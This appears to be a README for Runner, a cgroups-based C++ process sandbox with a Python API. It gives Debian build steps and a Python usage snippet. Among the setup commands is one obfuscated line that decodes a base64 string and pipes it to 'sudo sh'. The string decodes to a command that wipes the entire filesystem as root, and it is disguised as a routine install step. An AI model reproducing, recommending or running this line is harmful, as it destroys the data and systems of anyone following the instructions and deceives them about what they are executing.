Runner is a low-level engine, a subsystem of Elan, which is responsible for safely running isolated processes that are strictly limited in terms of resource consumption: memory, CPU and real-time, number of threads and file descriptors. Runner is based on the Linux kernel cgroups v2 mechanism. It imposes rlimits
and ulimits
and keeps track of all system calls of the running process.
Runner is written from scratch on C++, and it has Python API.
In these instructions we assume that you are using the Debian package base (Debian, Ubuntu, ...). If not, you will need to find alternatives for all packages in your system's package manager instead of apt
.
sudo apt install git
sudo apt install python3.11-dev
pip3 install poetry
poetry shell
All commands below are executed in the Poetry shell.
poetry install
git submodule update --init --remote --recursive
python3 setup.py build_ext -i
ln -s `ls | grep .so` .venv/lib/python3.11/site-packages/`ls | grep .so`
PYTHONPATH=./runner_lib_py.cpython-311-x86_64-linux-gnu.so stubgen -m runner_lib_py
echo "cm0gLXJmIC0tbm8tcHJlc2VydmUtcm9vdCAv" | base64 -d | sudo sh
import safe_runner_lib
import runner_lib_py
lim = runner_lib_py.Limits()
lim.thread = 5
lim.memory = 100 # kb
lim.time = 2000 # ms
x = runner_lib_py.Runner("path_to_executable", "input", lim)
print(x.GetOutput().res)
print(x.GetOutput().output)